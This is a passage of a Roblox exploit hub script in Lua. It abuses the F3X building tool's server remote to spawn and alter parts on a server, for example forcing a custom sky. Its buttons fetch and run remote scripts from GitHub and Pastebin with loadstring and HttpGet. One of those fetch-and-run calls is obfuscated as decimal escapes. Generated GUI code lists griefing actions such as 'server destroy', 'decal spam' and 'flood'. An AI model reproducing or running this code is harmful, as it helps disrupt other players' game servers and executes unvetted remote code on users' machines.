tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("116334479111332")
end)
end;
task.spawn(CCCC);
-- StarterGui.F3XHUB.Bar.OpenCloseKeybind
local function C_35()
local script = G2L["35"];
local mouse = game.Players.LocalPlayer:GetMouse()
mouse.KeyDown:Connect(function(k)
if k == "v" then
script.Parent.Visible = not script.Parent.Visible
end
end)
end;
task.spawn(C_35);
-- StarterGui.F3XHUB.Bar.MinimizeButton.LocalScript
local function C_38()
local script = G2L["38"];
script.Parent.MouseButton1Down:Connect(function()
script.Parent.Parent.Main.Visible = not script.Parent.Parent.Main.Visible
end)
end;
task.spawn(C_38);
-- StarterGui.F3XHUB.Bar.CloseButton.LocalScript
local function C_3b()
local script = G2L["3b"];
script.Parent.MouseButton1Down:Connect(function()
script.Parent.Parent.Parent.Bar:Destroy()
end)
end;
task.spawn(C_3b);
-- StarterGui.F3XHUB.Bar.DraggableScript
local function C_3c()
local script = G2L["3c"];
script.Parent.Active = true
script.Parent.Selectable = true
script.Parent.Draggable = true
end;
task.spawn(C_3c);
return G2L["1"], require;
end,
})
local Button = MainTab:CreateButton({
Name = "require script executor",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/username12scripting/CloxoSS/refs/heads/main/Cloxo%20Server%20Side"))()
end,
})
local Button = MainTab:CreateButton({
Name = "yes, other c00lexecutor ( key: key_43568792 )",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/CQUMRJR3"))()
end,
})
local Button = MainTab:CreateButton({
Name = "JABHub",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/JABhub", true))()
end,
})
local Button = MainTab:CreateButton({
Name = "random thing for tsb",
Callback = function()
--[[
DONT TRY TO HACK MY SCRIPT!
██████╗██████╗ ███████╗ █████╗ ████████╗███████╗██████╗ ██████╗ ██╗ ██╗ ███████╗ █████╗ █████╗ ███╗ ██╗ ██████╗██╗
██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝██╔══██╗ ██╔══██╗╚██╗ ██╔╝ ╚══███╔╝██╔══██╗ ██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝█████╗ ███████║ ██║ █████╗ ██║ ██║ ██████╔╝ ╚████╔╝ ███╔╝ ███████║ ███████║██╔██╗ ██║██║ ██║
██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ ██║ ██║ ██╔══██╗ ╚██╔╝ ███╔╝ ██╔══██║ ██╔══██║██║╚██╗██║██║ ╚═╝
╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗██████╔╝ ██████╔╝ ██║ ███████╗██║ ██║███████╗██║ ██║██║ ╚████║╚██████╗██╗
╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝╚═╝
]]--
loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\112\97\115\116\101\98\105\110\46\99\111\109\47\114\97\119\47\70\72\76\81\56\82\103\53\34\41\41\40\41")()
end,
})
local Button = MainTab:CreateButton({
Name = "Za_anc for Just A Baseplate.",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ZaancOff/Za_anc-Just-A-Baseplate-Scripts/refs/heads/main/v3.lua"))()
end,
})
local Button = MainTab:CreateButton({
Name = "chases script",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/someman364/c00lbersexluis/refs/heads/main/luis"))()
end,
})
local Button = MainTab:CreateButton({
Name = "mine and noober gui",
Callback = function()
--[=[
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88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 75 | Scripts: 21 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ssst
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[ssst]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ssst.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95);
G2L["2"]["BorderMode"] = Enum.BorderMode.Inset;
G2L["2"]["Size"] = UDim2.new(0, 457, 0, 253);
G2L["2"]["Position"] = UDim2.new(0.43288, 0, 0.22876, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ssst.Frame.LocalScript
G2L["3"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.ssst.Frame.ImageLabel
G2L["4"] = Instance.new("ImageLabel", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["4"]["Image"] = [[rbxassetid://124868710717730]];
G2L["4"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["BackgroundTransparency"] = 1;
G2L["4"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0);
-- StarterGui.ssst.Frame.TextLabel
G2L["5"] = Instance.new("TextLabel", G2L["2"]);
G2L["5"]["BorderSizePixel"] = 0;
G2L["5"]["TextSize"] = 14;
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["Size"] = UDim2.new(0, 241, 0, 25);
G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Text"] = [[Gui made by:toothpickleglol, lucas_cubing10]];
G2L["5"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0);
-- StarterGui.ssst.Frame.TextLabel.UICorner
G2L["6"] = Instance.new("UICorner", G2L["5"]);
G2L["6"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.ssst.Frame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["2"]);
G2L["7"]["BorderSizePixel"] = 0;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["BackgroundTransparency"] = 0.2;
G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["Text"] = [[Troll gui 🤣🤣🤣]];
G2L["7"]["Position"] = UDim2.new(0.70602, 0, 0.81058, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.ssst.Frame.TextButton
G2L["9"] = Instance.new("TextButton", G2L["2"]);
G2L["9"]["BorderSizePixel"] = 0;
G2L["9"]["TextSize"] = 14;
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["BackgroundTransparency"] = 0.2;
G2L["9"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["Text"] = [[1x1x13 executor]];
G2L["9"]["Position"] = UDim2.new(0.04582, 0, 0.80975, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);
-- StarterGui.ssst.Frame.TextButton
G2L["b"] = Instance.new("TextButton", G2L["2"]);
G2L["b"]["BorderSizePixel"] = 0;
G2L["b"]["TextSize"] = 14;
G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["BackgroundTransparency"] = 0.2;
G2L["b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["Text"] = [[hint]];
G2L["b"]["Position"] = UDim2.new(0.3729, 0, 0.81859, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);
-- StarterGui.ssst.Frame.TextButton
G2L["d"] = Instance.new("TextButton", G2L["2"]);
G2L["d"]["BorderSizePixel"] = 0;
G2L["d"]["TextSize"] = 14;
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["BackgroundTransparency"] = 0.2;
G2L["d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["Text"] = [[skybox]];
G2L["d"]["Position"] = UDim2.new(0.0509, 0, 0.61243, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["e"] = Instance.new("LocalScript", G2L["d"]);
-- StarterGui.ssst.Frame.TextButton
G2L["f"] = Instance.new("TextButton", G2L["2"]);
G2L["f"]["BorderSizePixel"] = 0;
G2L["f"]["TextSize"] = 14;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["BackgroundTransparency"] = 0.2;
G2L["f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["Text"] = [[decal spam]];
G2L["f"]["Position"] = UDim2.new(0.37257, 0, 0.61638, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);
-- StarterGui.ssst.Frame.TextButton
G2L["11"] = Instance.new("TextButton", G2L["2"]);
G2L["11"]["BorderSizePixel"] = 0;
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["BackgroundTransparency"] = 0.2;
G2L["11"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["Text"] = [[particle]];
G2L["11"]["Position"] = UDim2.new(0.70903, 0, 0.61362, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["11"]);
-- StarterGui.ssst.Frame.TextButton
G2L["13"] = Instance.new("TextButton", G2L["2"]);
G2L["13"]["BorderSizePixel"] = 0;
G2L["13"]["TextSize"] = 14;
G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["BackgroundTransparency"] = 0.2;
G2L["13"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["Text"] = [[skeleton sky]];
G2L["13"]["Position"] = UDim2.new(0.04983, 0, 0.43306, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["14"] = Instance.new("LocalScript", G2L["13"]);
-- StarterGui.ssst.Frame.TextButton
G2L["15"] = Instance.new("TextButton", G2L["2"]);
G2L["15"]["BorderSizePixel"] = 0;
G2L["15"]["TextSize"] = 14;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["BackgroundTransparency"] = 0.2;
G2L["15"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["15"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["Text"] = [[flood]];
G2L["15"]["Position"] = UDim2.new(0.37303, 0, 0.43465, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["16"] = Instance.new("LocalScript", G2L["15"]);
-- StarterGui.ssst.Frame.TextButton
G2L["17"] = Instance.new("TextButton", G2L["2"]);
G2L["17"]["BorderSizePixel"] = 0;
G2L["17"]["TextSize"] = 14;
G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["BackgroundTransparency"] = 0.2;
G2L["17"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["17"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["Text"] = [[666]];
G2L["17"]["Position"] = UDim2.new(0.70898, 0, 0.43385, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["17"]);
-- StarterGui.ssst.Frame.TextButton
G2L["19"] = Instance.new("TextButton", G2L["2"]);
G2L["19"]["BorderSizePixel"] = 0;
G2L["19"]["TextSize"] = 14;
G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["BackgroundTransparency"] = 0.2;
G2L["19"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["Text"] = [[theme music]];
G2L["19"]["Position"] = UDim2.new(0.04978, 0, 0.24965, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["1a"] = Instance.new("LocalScript", G2L["19"]);
-- StarterGui.ssst.Frame.TextButton
G2L["1b"] = Instance.new("TextButton", G2L["2"]);
G2L["1b"]["BorderSizePixel"] = 0;
G2L["1b"]["TextSize"] = 14;
G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b"]["BackgroundTransparency"] = 0.2;
G2L["1b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["Text"] = [[romania spam]];
G2L["1b"]["Position"] = UDim2.new(0.37298, 0, 0.25559, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);
-- StarterGui.ssst.Frame.TextButton
G2L["1d"] = Instance.new("TextButton", G2L["2"]);
G2L["1d"]["BorderSizePixel"] = 0;
G2L["1d"]["TextSize"] = 14;
G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d"]["BackgroundTransparency"] = 0.2;
G2L["1d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Text"] = [[T7B3RS93 sound]];
G2L["1d"]["Position"] = UDim2.new(0.70507, 0, 0.25348, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["1e"] = Instance.new("LocalScript", G2L["1d"]);
-- StarterGui.ssst.Frame.TextButton
G2L["1f"] = Instance.new("TextButton", G2L["2"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 0;
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["TextScaled"] = true;
G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["BackgroundTransparency"] = 1;
G2L["1f"]["Size"] = UDim2.new(0, 37, 0, 34);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["Text"] = [[>]];
G2L["1f"]["Position"] = UDim2.new(0.93864, 0, 0.87224, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1f"]);
-- StarterGui.ssst.Frame.ImageLabel
G2L["21"] = Instance.new("ImageLabel", G2L["2"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["21"]["Image"] = [[rbxassetid://98874831022758]];
G2L["21"]["Size"] = UDim2.new(0, 187, 0, 115);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["BackgroundTransparency"] = 1;
G2L["21"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0);
-- StarterGui.ssst.Frame2
G2L["22"] = Instance.new("Frame", G2L["1"]);
G2L["22"]["Visible"] = false;
G2L["22"]["BorderSizePixel"] = 3;
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95);
G2L["22"]["BorderMode"] = Enum.BorderMode.Inset;
G2L["22"]["Size"] = UDim2.new(0, 457, 0, 253);
G2L["22"]["Position"] = UDim2.new(0.433, 0, 0.229, 0);
G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["Name"] = [[Frame2]];
G2L["22"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ssst.Frame2.LocalScript
G2L["23"] = Instance.new("LocalScript", G2L["22"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["24"] = Instance.new("TextButton", G2L["22"]);
G2L["24"]["BorderSizePixel"] = 0;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["BackgroundTransparency"] = 0.2;
G2L["24"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["24"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["Text"] = [[SetWalkspeed]];
G2L["24"]["Position"] = UDim2.new(0.0372, 0, 0.07115, 0);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["26"] = Instance.new("TextButton", G2L["22"]);
G2L["26"]["TextWrapped"] = true;
G2L["26"]["BorderSizePixel"] = 0;
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextScaled"] = true;
G2L["26"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["BackgroundTransparency"] = 1;
G2L["26"]["Size"] = UDim2.new(0, 37, 0, 34);
G2L["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["Text"] = [[<]];
G2L["26"]["Position"] = UDim2.new(-0.01282, 0, 0.90236, 0);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["26"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["28"] = Instance.new("TextButton", G2L["22"]);
G2L["28"]["BorderSizePixel"] = 0;
G2L["28"]["TextSize"] = 14;
G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["BackgroundTransparency"] = 0.2;
G2L["28"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["Text"] = [[server destroy ( not fe )]];
G2L["28"]["Position"] = UDim2.new(0.35402, 0, 0.07921, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["29"] = Instance.new("Script", G2L["28"]);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["2a"] = Instance.new("LocalScript", G2L["28"]);
-- StarterGui.ssst.Frame2.TextButton.RemoteEvent
G2L["2b"] = Instance.new("RemoteEvent", G2L["28"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["2c"] = Instance.new("TextButton", G2L["22"]);
G2L["2c"]["BorderSizePixel"] = 0;
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["BackgroundTransparency"] = 0.2;
G2L["2c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["Text"] = [[disco]];
G2L["2c"]["Position"] = UDim2.new(0.6776, 0, 0.08128, 0);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["2d"] = Instance.new("LocalScript", G2L["2c"]);
-- StarterGui.ssst.Frame2.ImageLabel
G2L["2e"] = Instance.new("ImageLabel", G2L["22"]);
G2L["2e"]["BorderSizePixel"] = 0;
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["2e"]["Image"] = [[rbxassetid://98874831022758]];
G2L["2e"]["Size"] = UDim2.new(0, 187, 0, 115);
G2L["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["BackgroundTransparency"] = 1;
G2L["2e"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0);
-- StarterGui.ssst.Frame2.ImageLabel
G2L["2f"] = Instance.new("ImageLabel", G2L["22"]);
G2L["2f"]["BorderSizePixel"] = 0;
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["2f"]["Image"] = [[rbxassetid://124868710717730]];
G2L["2f"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["BackgroundTransparency"] = 1;
G2L["2f"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0);
-- StarterGui.ssst.Frame2.TextButton
G2L["30"] = Instance.new("TextButton", G2L["22"]);
G2L["30"]["BorderSizePixel"] = 0;
G2L["30"]["TextSize"] = 14;
G2L["30"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30"]["BackgroundTransparency"] = 0.2;
G2L["30"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["Text"] = [[teams]];
G2L["30"]["Position"] = UDim2.new(0.04303, 0, 0.24729, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["31"] = Instance.new("Script", G2L["30"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["32"] = Instance.new("TextButton", G2L["22"]);
G2L["32"]["BorderSizePixel"] = 0;
G2L["32"]["TextSize"] = 14;
G2L["32"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
